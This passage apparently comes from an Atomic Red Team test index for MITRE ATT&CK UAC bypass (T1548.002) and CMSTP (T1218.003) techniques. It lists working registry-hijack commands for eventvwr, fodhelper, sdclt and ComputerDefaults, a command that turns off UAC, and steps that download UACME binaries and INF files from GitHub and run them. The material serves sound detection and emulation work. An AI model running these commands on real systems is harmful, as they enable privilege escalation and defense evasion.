        * The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)

        Analysts should monitor these Registry settings for unauthorized changes.
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Stefan Kanthak
      - Casey Smith
      x_mitre_platforms:
      - Windows
      identifier: T1548.002
    atomic_tests:
    - name: Bypass UAC using Event Viewer (cmd)
      auto_generated_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9
      description: |
        Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
        Upon execution command prompt should be launched with administrative privelages
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
          cmd.exe /c eventvwr.msc
        cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1

'
        name: command_prompt
    - name: Bypass UAC using Event Viewer (PowerShell)
      auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b
      description: |
        PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
        Upon execution command prompt should be launched with administrative privelages
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
          Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\eventvwr.msc"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse
          -ErrorAction Ignore

'
        name: powershell
    - name: Bypass UAC using Fodhelper
      auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182
      description: |
        Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
        Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
          reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
          fodhelper.exe
        cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f >nul
          2>&1

'
        name: command_prompt
    - name: Bypass UAC using Fodhelper - PowerShell
      auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa
      description: |
        PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
        Upon execution command prompt will be opened.
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
          New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
          Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\fodhelper.exe"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force
          -Recurse -ErrorAction Ignore

'
        name: powershell
    - name: Bypass UAC using ComputerDefaults (PowerShell)
      auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f
      description: |
        PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
        Upon execution administrative command prompt should open
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
          New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
          Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\ComputerDefaults.exe"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force
          -Recurse -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Bypass UAC by Mocking Trusted Directories
      auto_generated_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1
      description: |
        Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
        Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          mkdir "\\?\C:\Windows \System32\"
          copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
          mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
        cleanup_command: |
          rd "\\?\C:\Windows \" /S /Q >nul 2>nul
          del "c:\testbypass.exe" >nul 2>nul
        name: command_prompt
        elevation_required: true
    - name: Bypass UAC using sdclt DelegateExecute
      auto_generated_guid: 3be891eb-4608-4173-87e8-78b494c029b7
      description: |
        Bypasses User Account Control using a fileless method, registry only.
        Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
        [Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
        Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)
      supported_platforms:
      - windows
      input_arguments:
        command.to.execute:
          description: Command to execute
          type: String
          default: cmd.exe /c notepad.exe
      executor:
        command: |
          New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command.to.execute}'
          New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
          Start-Process -FilePath $env:windir\system32\sdclt.exe
          Start-Sleep -s 3
        cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse
          -Force -ErrorAction Ignore

'
        name: powershell
    - name: Disable UAC using reg.exe
      auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9
      description: |
        Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
        HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0
      supported_platforms:
      - windows
      executor:
        command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          /v EnableLUA /t REG_DWORD /d 0 /f

'
        cleanup_command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          /v EnableLUA /t REG_DWORD /d 1 /f

'
        name: command_prompt
        elevation_required: true
    - name: Bypass UAC using SilentCleanup task
      auto_generated_guid: 28104f8a-4ff1-4582-bcf6-699dce156608
      description: |
        Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/

        There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).

        For example, we can set the windir registry kye to: "cmd /k REM "

        And forcefully run SilentCleanup task:

        schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

        REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the bat file
          type: String
          default: PathToAtomicsFolder\T1548.002\src\T1548.002.bat
      executor:
        command: "#{file_path}\n"
        name: command_prompt
        elevation_required: false
    - name: UACME Bypass Method 23
      auto_generated_guid: 8ceab7a2-563a-47d2-b5ba-0995211128d7
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent:
        DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\23 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 31
      auto_generated_guid: b0f76240-9f33-4d34-90e8-3a7d501beb15
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent:
        Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM
        Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\31 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 33
      auto_generated_guid: e514bb03-f71c-4b22-9092-9f961ec6fb03
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\33 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 34
      auto_generated_guid: 695b2dac-423e-448e-b6ef-5b88e93011d6
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe
        via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM
        Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\34 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 39
      auto_generated_guid: 56163687-081f-47da-bb9c-7b231c5585cf
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\39 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 56
      auto_generated_guid: 235ec031-cd2d-465d-a7ae-68bab281e80e
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\56 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 59
      auto_generated_guid: dfb1b667-4bb8-4a63-a85e-29936ea75f29
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and
        DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM
        Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\59 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 61
      auto_generated_guid: 7825b576-744c-4555-856d-caf3460dc236
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod:
        Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: Path
          default: "%temp%\\uacme\\61 Akagi64.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location (#{uacme_exe})

'
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
          Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
          Remove-Item $env:TEMP\uacme.zip -Force
      executor:
        command: '"#{uacme_exe}"

'
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
  T1218.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1218.003
        url: https://attack.mitre.org/techniques/T1218/003
      - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
        description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved
          April 11, 2018.
        source_name: Microsoft Connection Manager Oct 2009
      - url: https://twitter.com/ItsReallyNick/status/958789644165894146
        description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe...
          Retrieved April 11, 2018.
        source_name: Twitter CMSTP Usage Jan 2018
      - url: https://msitpros.com/?p=3960
        description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April
          11, 2018.
        source_name: MSitPros CMSTP Aug 2017
      - url: https://twitter.com/NickTyrer/status/958450014111633408
        description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution
          applocker bypass. Retrieved April 11, 2018.
        source_name: Twitter CMSTP Jan 2018
      - url: https://github.com/api0cradle/UltimateAppLockerByPassList
        description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
          April 10, 2018.
        source_name: GitHub Ultimate AppLocker Bypass List
      - url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
        description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code
          Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.
        source_name: Endurant CMSTP July 2018
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: CMSTP
      description: |-
        Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

        Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.

        CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
      id: attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:34:03.247Z'
      created: '2020-01-23T18:27:30.656Z'
      x_mitre_contributors:
      - Nik Seetharaman, Palantir
      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.

        Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)

        * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.
        * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).
      x_mitre_platforms:
      - Windows
      identifier: T1218.003
    atomic_tests:
    - name: CMSTP Executing Remote Scriptlet
      auto_generated_guid: 34e63321-9683-496b-bbc1-7566bc55e624
      description: 'Adversaries may supply CMSTP.exe with INF files infected with
        malicious commands

'
      supported_platforms:
      - windows
      input_arguments:
        inf_file_path:
          description: Path to the INF file
          type: Path
          default: PathToAtomicsFolder\T1218.003\src\T1218.003.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'INF file must exist on disk at specified location (#{inf_file_path})

'
        prereq_command: 'if (Test-Path #{inf_file_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{inf_file_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T218.003.inf" -OutFile "#{inf_file_path}"
      executor:
        command: 'cmstp.exe /s #{inf_file_path}

'
        name: command_prompt
    - name: CMSTP Executing UAC Bypass
      auto_generated_guid: 748cb4f6-2fb3-4e97-b7ad-b22635a09ab0
      description: 'Adversaries may invoke cmd.exe (or other malicious commands) by
        embedding them in the RunPreSetupCommandsSection of an INF file

'
      supported_platforms:
      - windows
      input_arguments:
        inf_file_uac:
          description: Path to the INF file
          type: Path
          default: PathToAtomicsFolder\T1218.003\src\T1218.003_uacbypass.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'INF file must exist on disk at specified location (#{inf_file_uac})

'
        prereq_command: 'if (Test-Path #{inf_file_uac}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{inf_file_uac}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf" -OutFile "#{inf_file_uac}"
      executor:
        command: 'cmstp.exe /s #{inf_file_uac} /au

'
        name: command_prompt
  T1574.012:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.012
        url: https://attack.mitre.org/techniques/T1574/012
      - source_name: Microsoft Profiling Mar 2017
        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
          24, 2020.
      - source_name: Microsoft COR_PROFILER Feb 2013
        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
          and Attach. Retrieved June 24, 2020.
      - source_name: RedCanary Mockingbird May 2020
        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
          May 26, 2020.
      - source_name: Red Canary COR_PROFILER May 2020
        url: https://redcanary.com/blog/cor_profiler-for-persistence/
        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
          for persistence. Retrieved June 24, 2020.
      - source_name: Almond COR_PROFILER Apr 2019
        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
          Retrieved June 24, 2020.
      - source_name: GitHub OmerYa Invisi-Shell
        url: https://github.com/OmerYa/Invisi-Shell
        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
          2020.
      - source_name: subTee .NET Profilers May 2017
        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
          Profilers. Retrieved June 24, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: COR_PROFILER
      description: |-
        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

